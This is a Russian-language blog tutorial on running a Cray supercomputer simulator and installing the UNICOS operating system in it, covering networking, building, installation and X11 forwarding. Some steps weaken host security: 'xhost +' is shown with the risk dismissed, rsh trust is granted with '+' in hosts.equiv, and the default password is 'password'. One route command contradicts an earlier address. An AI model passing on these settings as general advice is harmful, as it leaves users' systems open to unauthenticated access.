  <blockquote id="vTXn">So it’s settled. I’m building a Cray-1.</blockquote>
  <p id="Ss5G">Крайне рекомендую ознакомиться со <a href="https://www.modularcircuits.com/blog/articles/the-cray-files/" target="_blank">всей этой историей</a>, поскольку по накалу повествования описываемые события сильно напоминают историю изучения египетского письма или попытки расшифровать немецкие шифры времен второй мировой.</p>
  <p id="65xv">Для примера, чтобы только прочитать данные со случайно обнаруженной ленты, автору пришлось реализовывать специальный драйвер для виртуального контроллера, полагаясь на такие картинки:   </p>
  <figure id="lQOA" class="m_column">
    <img src="https://img1.teletype.in/files/4f/05/4f05d2d0-0b43-4976-9279-cb91a51cbbcf.png" width="813" />
  </figure>
  <p id="JQDa">Затем пришлось вручную восстанавливать последовательность загрузки:</p>
  <figure id="W56Y" class="m_original">
    <img src="https://img4.teletype.in/files/f6/28/f6285362-1fd1-4059-ac79-cc9b1a01d504.png" width="612" />
  </figure>
  <p id="g6NX">Разбираться с багами загрузчика и эмуляцией сети — не забываем что речь идет про суперкомпьютер, все основные части которого были связаны между собой по сети.</p>
  <blockquote id="PDSj">Andras провел чудовищную по объему и сложности работу, в успех которой к тому же никто особо не верил.</blockquote>
  <p id="f2u3">Именно поэтому результат его трудов настолько впечатляет.</p>
  <figure id="SstO" class="m_original">
    <img src="https://img4.teletype.in/files/35/58/35583a91-08a4-47c4-b764-f4870b9e39d8.jpeg" width="662" />
    <figcaption>Фронтальная панель суперкомпьютера Cray и индикаторы стадий запуска. Сверху кнопка включения.</figcaption>
  </figure>
  <h2 id="X20N">Оживляем легенду</h2>
  <p id="yfyo">Симулятор использует внешние приложения для работы: </p>
  <pre id="Xwph">xterm, telnet, tmux</pre>
  <p id="YBMA">Все это необходимо установить на хосте <strong>до первого запуска</strong> симулятора.</p>
  <p id="nzla">Дополнительно я использовал <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank">cool-retro-term</a> для наведения красоты, чтобы снимки экрана выглядели еще эпичнее.</p>
  <p id="oyNZ">Важное уточнение:</p>
  <blockquote id="B26Q">несмотря на использование <em>сетевого</em> <code>telnet</code>, полноценное взаимодействие с запущенной UNICOS придется настраивать позже и отдельно — запускаемый при старте telnet-клиент на самом деле подключается к портам симулятора, через которые происходит трансляция консольных команд в виртуальную ОС и обратно.</blockquote>
  <p id="Cfe1">Настоящее сетевое подключение к UNICOS требует специальной настройки на хосте, а поскольку инсталляция происходит по сети — сей шаг является обязательным.</p>
  <p id="ACpd">Настройка выглядит следующим образом:</p>
  <pre id="6m1x" data-lang="bash">brctl addbr craybr
ip tuntap add mode tap tap1
ifconfig tap1 up
brctl addif craybr tap1
ifconfig craybr 172.16.0.1 netmask 255.255.255.0</pre>
  <p id="6ngh">Несмотря на всю внешнюю монструозность, ничего сложного тут нет: </p>
  <blockquote id="hoVW">создается новый мост с именем <code>craybr</code>, затем создается виртуальный сетевой интерфейс <code>tap1</code>, которому назначается IP-адрес 172.16.0.1.</blockquote>
  <p id="zFRB">Последним шагом этот интерфейс добавляется в мост.</p>
  <p id="JG77">Название интерфейса указывается в конфигурационном файле симулятора, который называется <code>unicos.cfg</code>, выдержка:</p>
  <pre id="2260" data-lang="javascript">..
EthInterfaces {
			en0 {
				InterfaceNameLinux          tap1                ; Tap interface name to connect to on Linux
				InterfaceNameWindows        &quot;Cray Ethernet&quot;     ; WinTap interface name to connect to on Windows
				SimMacAddr                  0x020143524159
				Channel                     020
				IopNumber                   0
			}
		}
..		</pre>
  <p id="kErQ">IP-адрес должен быть именно <code>172.16.0.1</code>, поскольку внутренний интерфейс в UNICOS указан как <code>172.16.0.2</code> и поменять его достаточно проблематично.</p>
  <p id="aED7">Можно зайти и немного дальше, включив роутинг <strong>наружу</strong>:</p>
  <pre id="7j1N" data-lang="bash">brctl setfd craybr 0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE</pre>
  <p id="lCXE">В случае Mageia исходящий интерфейс будет называться по-другому, что-то вроде <code>wlp4s0</code>.</p>
  <p id="A7Q1">На стороне UNICOS в симуляторе необходимо выполнить команду:</p>
  <pre id="8AoV" data-lang="bash">route add default 172.16.0.1</pre>
  <p id="I5jJ">Ну и радоваться — ведь вы только что выпустили в сеть суперкомпьютер Cray, пусть и виртуальный:</p>
  <figure id="T7N5" class="m_original">
    <img src="https://img3.teletype.in/files/6e/5c/6e5cdba3-6288-4978-9b5f-39d26961fa7a.png" width="933" />
    <figcaption>Все что вы видите в консоли выше - оригинальный софт от Cray, для суперкомпьютеров Cray.</figcaption>
  </figure>
  <h3 id="F6Ln">Готовая сборка</h3>
  <p id="oYlZ">Существуют готовые сборки симулятора Cray для 64-битного Linux, c уже установленным UNICOS версий <a href="https://archive.org/details/uni-cos-linux-x-86-64.7z" target="_blank">10.0.0.2</a> и <a href="https://archive.org/details/uni-cos-10.0.1.2-linux-x-86-64.7z" target="_blank">10.0.1.2</a>, созданные известным в узких кругах камрадом <a href="https://virtuallyfun.com/2022/12/04/unicos-cd-roms-found/" target="_blank">neozeed</a>.</p>
  <blockquote id="vgnY">Проблема в том, что эти сборки на момент написания статьи успели устареть (от 2022 года) и не факт что заработают в вашей системе.</blockquote>
  <p id="dDx9">А планов по обновлению у их автора нет. </p>
  <p id="TZJ2">Запускается симулятор из этих сборок с помощью стартового скрипта:</p>
  <pre id="69xi" data-lang="bash">./unicos</pre>
  <p id="fuil">Не забудьте что перед запуском необходимо выполнить скрипт для настройки сети (см выше).</p>
  <p id="nbyU">Так выглядит запуск UNICOS 10.0.1.2 в симуляции суперкомпьютера <a href="https://en.wikipedia.org/wiki/Cray_J90" target="_blank">Cray J90</a>:</p>
  <figure id="7U0u" class="m_original">
    <img src="https://img4.teletype.in/files/34/15/341515ba-dfab-4b3d-9083-0a88299c7337.png" width="1366" />
  </figure>
  <p id="prYx">Я заменил стандартный <code>xterm</code>, используемый симулятором по-умолчанию на <a href="https://github.com/Swordfish90/cool-retro-term" target="_blank">cool-retro-term</a> для большей эпичности скриншотов.</p>
  <p id="5hsw">Но конечно у настоящего Cray J-90 не было настолько древних мигающих терминалов и все выглядело куда современне:</p>
  <figure id="uSjS" class="m_original">
    <img src="https://img4.teletype.in/files/ff/db/ffdbabf9-a52f-404e-9d40-c7d11a3bc84f.jpeg" width="1200" />
    <figcaption><a href="https://cray-history.net/cray-history-front/fom-home/cray-t90/" target="_blank">Чуть более новый Cray T-90</a> с рабочим местом оператора (OWS)</figcaption>
  </figure>
  <p id="Vima">Если приглядеться, можно заметить на мониторе рабочей станции, характерные квадратные окна 4dwm — оконного менеджера SGI Irix.    </p>
  <p id="D8hm">Все потому, что в разные исторические периоды для суперкомпьютеров Cray использовались разные терминальные системы — SunOS, Irix и даже Mac:</p>
  <figure id="gHci" class="m_column">
    <img src="https://img1.teletype.in/files/c2/37/c2377141-903c-4cbf-bf2b-46a17dc02e73.jpeg" width="1332" />
  </figure>
  <p id="4XvI">Чтобы добиться такого же эффекта, измените поле настройки <em><code>NewTerminalCommand</code></em> в файле <code>unicos.cfg:</code></p>
  <figure id="6uHV" class="m_original">
    <img src="https://img1.teletype.in/files/00/1f/001f8ade-ed03-446f-ba72-a1f919a43a71.png" width="916" />
  </figure>
  <p id="GMBM">Так выглядит UNICOS в запущенном состоянии:</p>
  <figure id="Y9Db" class="m_original">
    <img src="https://img3.teletype.in/files/24/62/24628d87-5b4d-48fa-865e-da4268cf97ae.png" width="1366" />
  </figure>
  <p id="GfMJ">Согласно описанию автора, в системе есть следующие учетные записи:</p>
  <blockquote id="dbLr">The root password is &#x27;password&#x27; and I&#x27;ve created a neozeed user with the password of &#x27;password&#x27; so you can telnet in</blockquote>
  <p id="NE6q">Входим от root:</p>
  <figure id="wnkV" class="m_original">
    <img src="https://img3.teletype.in/files/ed/6d/ed6d844a-fa06-4649-aa6d-c61db5ff5c3d.png" width="704" />
  </figure>
  <p id="r1QH">Если вы все настроили правильно, также заработать сеть между симулятором и хостом, в обе стороны. </p>
  <p id="5Lqv">Появится возможность войти уже по сети, непосредственно на машину Cray:</p>
  <figure id="RdDw" class="m_original">
    <img src="https://img4.teletype.in/files/b4/bb/b4bb2726-c355-4608-a3a4-1923708caf79.png" width="695" />
  </figure>
  <p id="s7Nc">Для завершения работы симулятора, введите команду <code>exit</code> в нижней консоли основного приложения и нажмите <code>Enter</code>:</p>
  <figure id="JNYl" class="m_original">
    <img src="https://img4.teletype.in/files/71/0c/710ce9f4-4d11-4f81-a52d-0922e68273ac.png" width="1039" />
    <figcaption>То что нижний блок - тоже терминал, причем допускающий ввод, я догадался не сразу.</figcaption>
  </figure>
  <p id="D0Xx">В принципе даже этой версии хватит для последующих развратных действий с участием компилятора (см. ниже). </p>
  <p id="nv2e">Если у вас успешно заработала готовая сборка и нет настойчивого желания «собрать из исходников» — следущий шаг можно пропускать и переходить сразу к стадии действительно изысканных приключений.</p>
  <figure id="XIG5" class="m_column">
    <img src="https://img2.teletype.in/files/d0/0c/d00c6f63-75e4-4686-88b1-6cc6631af4c4.webp" width="2500" />
    <figcaption>Первые суперкомпьютеры Cray были обшиты натуральной кожей <s>убитых инженеров</s>.</figcaption>
  </figure>
  <h2 id="1gVA">Сборка из исходников</h2>
  <p id="C1ho">Несмотря на то что сие занятие — точно не для всех и любимый ChatGPT врядли подскажет что-то разумное по этому проекту, сделать все же стоит — для большего погружения.</p>
  <p id="9N00">Симулятор написан на C++, с использованием библиотеки Boost, поэтому компиляция из исходников протекает.. весьма неспешно.</p>
  <p id="I9DD">Забираем исходники:</p>
  <pre id="G4jX" data-lang="bash">git clone https://github.com/andrastantos/cray-sim.git</pre>
  <p id="2fPc">Релизных веток нет и все собирается из <code>master</code>.</p>
  <p id="ptBC">Перед тем как запускать сборку необходимо установить следующие зависимости, версия для Ubuntu:</p>
  <pre id="VpCz" data-lang="bash"> g++ make libboost-all-dev libncurses-dev libgpm-dev</pre>
  <p id="DXbs">для Mageia:</p>
  <pre id="kfai" data-lang="bash">gcc-c++ make lib64boost-devel lib64ncurses-devel lib64gpm-devel</pre>
  <p id="c6hc">Исходный код находится в каталоге <code>simulator</code>, поэтому сборка проекта также запускается именно оттуда, а не из корня репозитория.</p>
  <p id="c95p">Поскольку в пакетах Mageia нет статической версии библиотеки Boost, а для сборки Boost из исходниокв не хватило <s>размеров статьи</s> свободного места, я использовал динамическую линковку:</p>
  <pre id="q1se" data-lang="bash">make LINK_TYPE=dynamic build</pre>
  <p id="0P1y">В Ubuntu сборка будет работать и вот так:</p>
  <pre id="0BYp" data-lang="bash">make build</pre>
  <p id="xQso">Готовые бинарники будут находиться в каталоге <code>simulator/_bin</code>, но управляющие скрипты об этом знают, поэтому в ручную ничего перекладывать не надо.</p>
  <figure id="386D" class="m_column">
    <img src="https://img1.teletype.in/files/0b/57/0b570146-3007-40c1-825a-e56522220c7c.jpeg" width="1024" />
    <figcaption>Завершение установки на одном из сохранившихся Cray Y-MP, консоль - реальный терминал Wyse тех лет.</figcaption>
  </figure>
  <h2 id="C8GN">Установка UNICOS</h2>
  <p id="zizP">Теперь самая интересная стадия, которую вы пропустите если остановитесь на готовой сборке:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="hWDU">установка операционной системы UNICOS в симуляторе суперкомпьютера Cray из оригинальных образов CD-дисков.</p>
  </section>
  <p id="0kQn">Когда-то, за процесс ввода суперкомпьютера в эксплуатацию, отвечала целая команда высококлассных и сертифицированных инженеров, которые тщательно оберегали свои секреты.</p>
  <blockquote id="TvwM">Но благодаря любопытным фанатам, теперь наконец и вы сможете в этом поучаствовать. </blockquote>
  <p id="nhlu">Как уже описывал выше, два случайно обнаруженных диска оказались <strong>единственными</strong> сохранившимися носителями загрузочного образа UNICOS и без них судьба симулятора сложилась бы совершенно иначе.</p>
  <p id="vbcp">Образы UNICOS доступны по ссылкам:</p>
  <ul id="rKaZ">
    <li id="Klwz"><a href="https://archive.org/details/cray-cd1" target="_blank">https://archive.org/details/cray-cd1</a></li>
    <li id="IVSP"><a href="https://archive.org/details/cray-cd2" target="_blank">https://archive.org/details/cray-cd2</a></li>
  </ul>
  <p id="gqEO">Оба диска являются загрузочными, первый содержит UNICOS версии 10.0.0.2 для модели <a href="https://en.wikipedia.org/wiki/Cray_J90" target="_blank">Cray J90</a>, второй — UNICOS 10.0.1.2 для <a href="https://en.wikipedia.org/wiki/Cray_SV1" target="_blank">Cray SV1</a>.</p>
  <p id="c49d">Шаги установки полностью совпадают, но устанавливать я буду более свежую версию 10.0.1.2, со второго ISO-образа.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PdGv">Несмотря на то что разные версии этой ОС предназначены для установки на разные суперкомпьютеры, в условиях симулятора все отлично работает.</p>
  </section>
  <figure id="5VZq" class="m_column">
    <img src="https://img4.teletype.in/files/fd/76/fd7623f4-f812-44e2-a43c-5a5fc6a64b01.jpeg" width="1200" />
    <figcaption>Так выглядит модель Cray SV1</figcaption>
  </figure>
  <p id="woyQ">Инструкция по установке от автора симулятора, находится <a href="https://github.com/andrastantos/cray-sim/blob/master/unicos_install.md" target="_blank">тут</a>, но к сожалению она успела немного устареть, поэтому придется использовать описанные в ней шаги с небольшими изменениями.</p>
  <p id="9YmZ">Напоминаю, что все команды ниже, выполняемые с хоста, как и управляющие скрипты симулятора подразумевают использование <code>bash</code>. </p>
  <blockquote id="2EOi">Со стороны UNICOS используется <code>ksh</code>, но для стадии установки это не особо важно.</blockquote>
  <p id="IHj1">Для упрощения вводимых команд, зададим две переменные окружения:</p>
  <pre id="6q7W" data-lang="bash">export ISO=/mnt/iso
export SIM=/opt/work/cray/cray-sim</pre>
  <p id="qtyU">Первая указывает на путь к примонтированному образу диска, вторая — полный путь до каталога с симулятором.</p>
  <p id="ZMF6">Монтируем загрузочный диск с UNICOS:</p>
  <pre id="QVKr" data-lang="bash">fuseiso ./cray-cd2.iso $ISO</pre>
  <p id="sNTj">Образ UNICOS содержит длинные имена файлов а также файлы и каталоги с именами в разных регистрах:</p>
  <figure id="fmKk" class="m_original">
    <img src="https://img1.teletype.in/files/45/03/4503146e-66e5-448a-b3b9-f1674be943dd.png" width="691" />
  </figure>
  <p id="d53o">Поэтому использовать известный трюк с<code>mount -o loop</code> не получится.</p>
  <p id="aV8X">Копируем архив с системой и ядро:</p>
  <pre id="xt6D" data-lang="bash">cp $ISO/unicos_exe/ram_fs $SIM
cp $ISO/unicos_exe/krn_11.bgz $SIM</pre>
  <p id="t0t9">Распаковываем архив с ядром:</p>
  <pre id="IgOc" data-lang="bash">cd $SIM
gzip -d -- &lt; krn_11.bgz | cpio -i</pre>
  <p id="Ff7i">В корневом каталоге симулятора появятся несколько новых файлов, нужный нам называется <code>unicos.generic</code> — то самое ядро.</p>
  <p id="pgPM">На этой стадии можно наконец запустить симулятор, но пока с использованием образа RAMFS, который мы только что скопировали с установочного диска:</p>
  <pre id="oZ9A">./unicos_ramfs</pre>
  <p id="nRn0">Запустится симулятор и появится терминал с подключением к UNICOS, запущенной в single user mode:</p>
  <figure id="4vts" class="m_original">
    <img src="https://img2.teletype.in/files/5c/14/5c14fc4a-72be-43b8-a952-bfe238d120fa.png" width="1366" />
    <figcaption>Кто бы мог подумать, что смогу запустить в Single User Mode ОС для суперкомпьютеров Cray</figcaption>
  </figure>
  <p id="f2q7">Теперь настраиваем сеть на стороне UNICOS, поскольку следующим шагом необходимо копировать системные файлы с примонтированного ISO-образа.</p>
  <p id="3gqc">Напомню что подключение через telnet происходит на самом деле к самому симулятору, не к эмулируемой ОС внутри.</p>
  <p id="TteR">Вводим в консоли UNICOS:</p>
  <pre id="EJRR" data-lang="bash">ifconfig en0 172.16.0.2</pre>
  <p id="nRjJ">После выполнения команды должна отрабатывать команда <code>ping</code> до хоста: </p>
  <figure id="3Uh1" class="m_original">
    <img src="https://img3.teletype.in/files/e0/aa/e0aa60f0-8ee8-46c9-a51f-376b8e79d257.png" width="739" />
  </figure>
  <p id="S77j">Дальше начинается еще один интересный этап, <s>полный боли и страданий,</s> поскольку придется встретиться с одной <strong>очень древней</strong> технологией передачи файлов между компьютерами — <a href="https://en.wikipedia.org/wiki/Berkeley_r-commands" target="_blank">rcp</a>.</p>
  <blockquote id="rLZy">UNICOS, который мы с вами запускаем это система из далекого 1997 года и ничего другого для передачи файлов в ее загрузочном образе просто нет.</blockquote>
  <p id="570n">Когда-то предполагалось, что весь процесс установки и запуска в эксплуатацию суперкомпьютера — строго секретный, поэтому с «usability» не заморачивались.</p>
  <p id="fpFe">Есть еще один важный нюанс:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="jQTG">единственная доступная в образе утилита для передачи файлов на расстояние это <strong>клиент</strong>. </p>
  </section>
  <p id="jic2">Для того чтобы подключиться с его помощью и скачать файл, надо поднимать <strong>сервер</strong>, сервер древнего <code>rcp</code> и на современном линуксе.</p>
  <p id="hFMT">Ввиду своей древности, rcp в любом виде (как клиент и как демон) давно отсутствует по-умолчанию в любых линуксах и BSD, а его установка и запуск в современном окружении требует «особой уличной магии».</p>
  <p id="rSA0">Для Ubuntu вам будет необходимо установить пакеты:</p>
  <pre id="dZWe" data-lang="bash">rsh-client rsh-server</pre>
  <p id="rpn3">для Mageia:</p>
  <pre id="295p" data-lang="bash">rsh rsh-server</pre>
  <p id="5zn6">В последней запуск rsh-сервера происходит через демон <code>xinetd</code>, который по-умолчанию отключен и попытка запуска будет выдавать ошибку:</p>
  <pre id="a9Sn">xinetd.service is not active, cannot reload.</pre>
  <p id="yw8Q">Поэтому сначала запускается <code>xinetd</code>, затем <code>rsh</code>:</p>
  <pre id="C2oU" data-lang="bash">service xinetd start
service rsh start</pre>
  <p id="KxGr">Следующим шагом необходимо разрешить использование демона <code>rsh</code> по сети (входящие подключения), для Ubuntu необходимо добавить строку в файл <code>/etc/hosts.equiv</code>:</p>
  <pre id="JRuH">172.16.0.2 +</pre>
  <p id="lGSg">Для Mageia используется файл <code>~/.rhosts</code></p>
  <p id="wK2h">Это позволит подключиться к хосту и скопировать стартовый скрипт инсталляции в запущенную UNICOS.</p>
  <p id="Cpar">Но прежде чем копировать, скрипт необходимо немного изменить. </p>
  <p id="A5X2">Открываем файл <code>install</code> (находится в корневом каталоге симулятора) любимым редактором <code>vi</code> и заполняем значения переменных:</p>
  <ul id="MAP7">
    <li id="sv4B"><code>LOCAL_LOGIN</code> = имя пользователя на хосте</li>
    <li id="Etbr"><code>ISO_MNT</code> = /полный/путь/к каталогу с образом UNICOS</li>
  </ul>
  <p id="2T7H">Также добавляем новую переменную <code>SIM_LOC</code>, которой устанавливаем значение в виде полного пути к каталогу с симулятором.</p>
  <p id="Oosy">Заранее предупреждаю, что в скрипте инсталляции <em>есть небольшая ошибка</em>, связанная с определением версии устанавливаемой системы. На процесс инсталляции она не влияет, но бесит и раздражает, поскольку появляется в самом начале.</p>
  <p id="myWK">Чтобы ее избежать, необходимо задать еще одну переменную:</p>
  <pre id="MHsi">UNICOS_EXE=UNICOS_exe</pre>
  <p id="fAZH">В результате всех описанных выше правок должно получиться такое:</p>
  <figure id="47pI" class="m_original">
    <img src="https://img4.teletype.in/files/34/1c/341cdf95-4bdf-41b6-9d7d-b914d91e1886.png" width="831" />
    <figcaption>Финальный скрипт установки операционной системы Cray, мама будет вами гордиться ;)</figcaption>
  </figure>
  <p id="emcV">Cохраняем изменения, затем на стороне UNICOS вводим команды, заменив предварительно имя пользователя и путь к симулятору:</p>
  <pre id="piMk" data-lang="bash">cd /
rcp alex@172.16.0.1:/opt/work/cray/cray_sim/install .</pre>
  <p id="m8OP">В результате выполнения команды файл <code>install</code> будет скопирован с хоста и появится в корне файловой системы UNICOS:</p>
  <figure id="abL6" class="m_original">
    <img src="https://img3.teletype.in/files/6b/e0/6be01864-808b-44af-8d59-424c1078f599.png" width="739" />
  </figure>
  <p id="djdw">Запускаем скопированный скрипт инсталляции UNICOS:</p>
  <pre id="Lty4">./install</pre>
  <p id="GxKf">Появится сообщение с перечислением введенных параметров: </p>
  <figure id="tXWy" class="m_original">
    <img src="https://img1.teletype.in/files/ca/39/ca39a10e-f1a0-41d5-9a6c-0b65bd1c8100.png" width="730" />
  </figure>
  <p id="lKY2">Нажимаем любую клавишу и запустится увлекательный процесс установки операционной системы для суперкомпьютера Cray:</p>
  <figure id="ZJ86" class="m_original">
    <img src="https://img1.teletype.in/files/40/2b/402bbfd1-e4b5-4086-9d93-0d0891276c15.png" width="739" />
    <figcaption>Несмотря на эпичность, это всего лишь копирование файлов по сети.</figcaption>
  </figure>
  <p id="eypv">Процесс достаточно длительный и занимает несколько часов, вне зависимости от мощи вашего оборудования, так что вполне успеете принести <s>кровавую жертву темным богам</s> выпить чаю в хорошей компании.</p>
  <p id="K9t6">В самом конце установки, будет предложено установить пароль для суперпользователя, а также будет запущен диалог создания учетной записи обычного пользователя.</p>
  <p id="via8">После чего установка наконец будет завершена:</p>
  <figure id="HX0e" class="m_original">
    <img src="https://img3.teletype.in/files/af/52/af5224d5-f0a2-418a-b3e8-5f9f205d0025.png" width="1366" />
    <figcaption>Да, вы только что установили ОС на суперкомпьютер Cray, пусть и виртуальный.</figcaption>
  </figure>
  <p id="iZN7">Во время установки UNICOS происходит один очень важный шаг, о котором стоит рассказать — линковка ядра. </p>
  <p id="fxWJ">Эта практика происходит из времен первых UNIX, когда архитектур было много а стандартов мало. Совместимость оборудования хромала, поэтому такая линковка использовалась в качестве своеобразного финального теста системы.</p>
  <p id="0uNR">Из современных операционных систем, эту практику сохранила например OpenBSD, хотя и по <a href="https://why-openbsd.rocks/fact/karl/" target="_blank">другой причине</a>.</p>
  <p id="gYQ0"></p>
  <p id="NAHH">Останавливаем симулятор командой <code>exit</code> и убеждаемся, что основное ядро UNICOS успешно слинковано — должен появиться файл <code>unicos.ymp.10012</code>:</p>
  <figure id="I10k" class="m_original">
    <img src="https://img3.teletype.in/files/6d/e8/6de82c6b-0287-4446-95ea-5a498b490980.png" width="831" />
  </figure>
  <p id="P4s5">После этого, проверяем файл <code>unicos.cfg</code>, в котором должно появиться указание на новое ядро:</p>
  <figure id="xwWd" class="m_original">
    <img src="https://img3.teletype.in/files/e3/92/e3920761-2a8b-4575-9f7d-0c07b003ed49.png" width="831" />
  </figure>
  <p id="Xime">Если все хорошо и ссылка на свежее ядро на месте, запускаем полноценную симуляцию:</p>
  <pre id="WFo0">./unicos</pre>
  <p id="skA2">Так выглядит полностью запущенный симулятор суперкомпьютера Cray J90 с только что установленной UNICOS:</p>
  <figure id="gruF" class="m_original">
    <img src="https://img1.teletype.in/files/80/27/80278593-ef07-4d19-869d-af5a7f37e92e.png" width="1366" />
  </figure>
  <p id="zJ0v">Если на стороне UNICOS прописать маршрут по-умолчанию, такой же командой как и в готовой сборке:</p>
  <pre id="Xo8V" data-lang="bash">route add default 172.16.0.2</pre>
  <p id="K47t">..получим выход в интернет. </p>
  <p id="5O6N">Прямо с суперкомпьютера Cray, вы правильно поняли:</p>
  <figure id="fXiB" class="m_original">
    <img src="https://img3.teletype.in/files/28/75/28750e0d-621e-428e-bf34-c1b7e2fe0c60.png" width="1366" />
    <figcaption>Мам, я вывел суперкомпьютер Cray в интернет! </figcaption>
  </figure>
  <p id="4b8C">Вы же не думали, будто на этом я успокоюсь, открою шампанское, <s>вызову девок</s> и уйду в загул? Конечно же нет и впереди ждет еще много интересного и удивительного.</p>
  <h2 id="inao">Графический интерфейс, на суперкомпьютере</h2>
  <p id="oDLk">В найденных образах UNICOS, один из которых мы только что использовали для установки, была обнаружена <strong>работающая</strong> клиентская библиотека для протокола X11.</p>
  <p id="Piry">Самого X-сервера внутри разумеется нет, поскольку далекие предки использовали специальные управляющие терминалы с SGI Irix:  </p>
  <figure id="ZbAc" class="m_original">
    <img src="https://img1.teletype.in/files/c3/6d/c36dabc2-d859-4ba5-bce4-60e5e361a609.jpeg" width="696" />
  </figure>
  <p id="NVbT">Зато есть возможность пробросить отображение приложения с поддержкой протокола X11, чтобы оно отрисовывалось на запущенном <strong>современном</strong> Xorg-сервере хоста.</p>
  <p id="YXmb">Что автор немедленно и проделал:</p>
  <figure id="IQOg" class="m_original">
    <img src="https://img4.teletype.in/files/f8/64/f8642483-ada3-4468-9ced-681d8dae34ce.png" width="1366" />
    <figcaption>Часики, которые тикают прямо на суперкомпьютере Cray.</figcaption>
  </figure>
  <p id="DvUY">Два приложения на скриншоте выше <code>xterm</code> и <code>xlock</code> — запущены из работающей UNICOS и отображаются в Xorg-сервере на Mageia Linux.</p>
  <p id="hjPn">Чтобы это повторить, необходимо принести кровавую жерт.. ээ выполнить три простых шага, описанные ниже.</p>
  <h3 id="OeTK">Запуск Xorg-сервера с поддержкой сети</h3>
  <p id="LkSO">По-умолчанию и очень давно, даже в самых олдскульных дистрибьютивах вроде Slackware, X-сервер запускается с параметром <code>-nolisten</code>, запрещающим удаленное подключение по сети.</p>
  <p id="Q6yR">Чтобы в этом убедиться, достаточно выполнить команду на хосте, которая покажет запущенный X-сервер со всеми параметрами:</p>
  <pre id="QEs8" data-lang="bash">ps -ax |grep X</pre>
  <p id="LSB1">Запускается X-сервер из специального приложения «display manager» (dm), который ответчает за красивое графическое окно авторизации, поэтому параметры запуска X-сервера указываются в настройках этого менеджера.</p>
  <p id="k2Eh">Поскольку в моей системе используется LightDM, для того чтобы X-сервер начал прослушивать сетевой порт, я добавил следующую настройку в раздел <code>[Seat:*]</code> в файл <code>/etc/lightdm/lightdm.conf.d/49-mageia.conf</code>:</p>
  <pre id="H2Cf">xserver-allow-tcp=true
xserver-command=X -listen tcp</pre>
  <p id="u5WN">После чего сервис <code>lightdm</code> необходимо перезапустить:</p>
  <pre id="7Ihs" data-lang="bash">service lightdm restart</pre>
  <p id="NGl2">Естественно вас в этот момент выбросит из системы, так что будьте готовы и остановите заранее симулятор, если он был запущен.</p>
  <h3 id="mDLI">Разрешение удаленного доступа без авторизации</h3>
  <p id="TWm2">Следующим шагом необходимо отключить авторизацию при подключении к X-серверу по сети.</p>
  <p id="wq54">Для этого авторизуйтесь с помощью DM и запустите графическое окружение — как вы обычно это делаете, затем введите в консоли:</p>
  <pre id="qTcr" data-lang="bash">xhost +</pre>
  <p id="4iRA">Выглядит это так:</p>
  <figure id="OfEF" class="m_original">
    <img src="https://img2.teletype.in/files/51/18/5118f912-82a4-49cb-9653-3b662e4dcc68.png" width="1366" />
  </figure>
  <p id="UKkF">После выполнения этой команды будет доступно удаленное подключение к вашему X-cерверу с любого хоста.</p>
  <p id="ypS3">Что конечно считалось опасным еще лет двадцать назад, но в нынешние продвинутые времена (с Wayland вместо Xorg), когда о самой возможности такого удаленного подключения уже мало кто помнит — не стоит заморачиваться:</p>
  <blockquote id="GwEt">все, кто теоретически смог бы таким образом подключиться к вашей машине давно умерли или наслаждаются маразмом.</blockquote>
  <p id="Xn2a">Кроме автора, разумеется.</p>
  <h3 id="eNlv">Указание адреса удаленного X-сервера</h3>
  <p id="gRrh">Наконец последним шагом необходимо указать адрес удаленного X-сервера на стороне UNICOS.</p>
  <p id="Jaie">Делается это командой (не забываем о ksh по-умолчанию):</p>
  <pre id="fbSp" data-lang="bash">setenv DISPLAY 172.16.0.1:0.0</pre>
  <p id="reEn">Набор софта с графическим интерфейсом находится в каталоге <code>/usr/bin/X11</code>, так для примера выглядит запуск <code>xterm</code>:</p>
  <figure id="Zsof" class="m_column">
    <img src="https://img4.teletype.in/files/b4/37/b437f04a-c3e2-4e38-a5b7-f7f323a9a2e3.png" width="775" />
    <figcaption>&quot;This is a private computer facility&quot; - самое возбуждающее приглашение на свете.</figcaption>
  </figure>
  <p id="ByFM">Если вы выполнили все шаги правильно, появится графическое окно, с запущенным приложением, работающим в среде суперкомпьютера:</p>
  <figure id="hN8S" class="m_original">
    <img src="https://img1.teletype.in/files/cc/79/cc795584-21c8-4ec8-97bc-cc24ae13a255.png" width="577" />
  </figure>
  <p id="xnxx"></p>
  <p id="a1jo">И.. нет, это еще не конец.</p>
  <h2 id="UGcj">Особенные радости, для особенных</h2>
  <p id="BK3X">Вместе с симулятором поставляется интересный архив <code>goodies.tar</code>, собранный оригинальным автором симулятора, который можно найти в каталоге <code>unicos_tools</code>.</p>
  <blockquote id="MM2W">Архив содержит несколько известных утилит, собранных для UNICOS, без которых жизнь юниксоида сера и уныла — <code>bash</code> и <code>midnight commander</code>.</blockquote>
  <p id="DY6h">Узрите смертные, ибо так выглядит ваш любимый <code>mc</code> , запущенный на суперкомпьютере Cray:</p>
  <figure id="djGz" class="m_column">
    <img src="https://img4.teletype.in/files/b2/52/b2523d82-4a1d-459d-b3dd-0add688e0a3f.png" width="739" />
    <figcaption>Страшно? А мы предупреждали.</figcaption>
  </figure>
  <p id="C3Tr">Копируется сей замечательный архив с помощью уже известного по процессу установки <code>rcp</code>:</p>
  <pre id="uPaG" data-lang="bash">rcp alex@172.16.0.1:/opt/work/cray/cray-sim/unicos_toos/goodies.tar /</pre>
  <p id="wXLT">Распаковывается в каталог <code>/usr</code>, который уже присутствует в переменной окружения <code>PATH</code>:</p>
  <pre id="HI2q" data-lang="bash">cd /usr
tar xvf /goodies.tar
rm /goodies.tar</pre>
  <p id="SD0g">Перед запуском необходимо выставить бит запуска:</p>
  <pre id="Ajee" data-lang="bash">chmod +x /usr/bin/mc
chmod +x /usr/bin/bash</pre>
  <p id="82yW">и соответствующие права:</p>
  <pre id="RSlL" data-lang="bash">chmod 765 /usr/bin/mc
chmod 765 /usr/bin/bash</pre>
  <p id="l7Fq">Если <code>mc</code> будет ругаться при запуске, необходимо выставить тип терминала:</p>
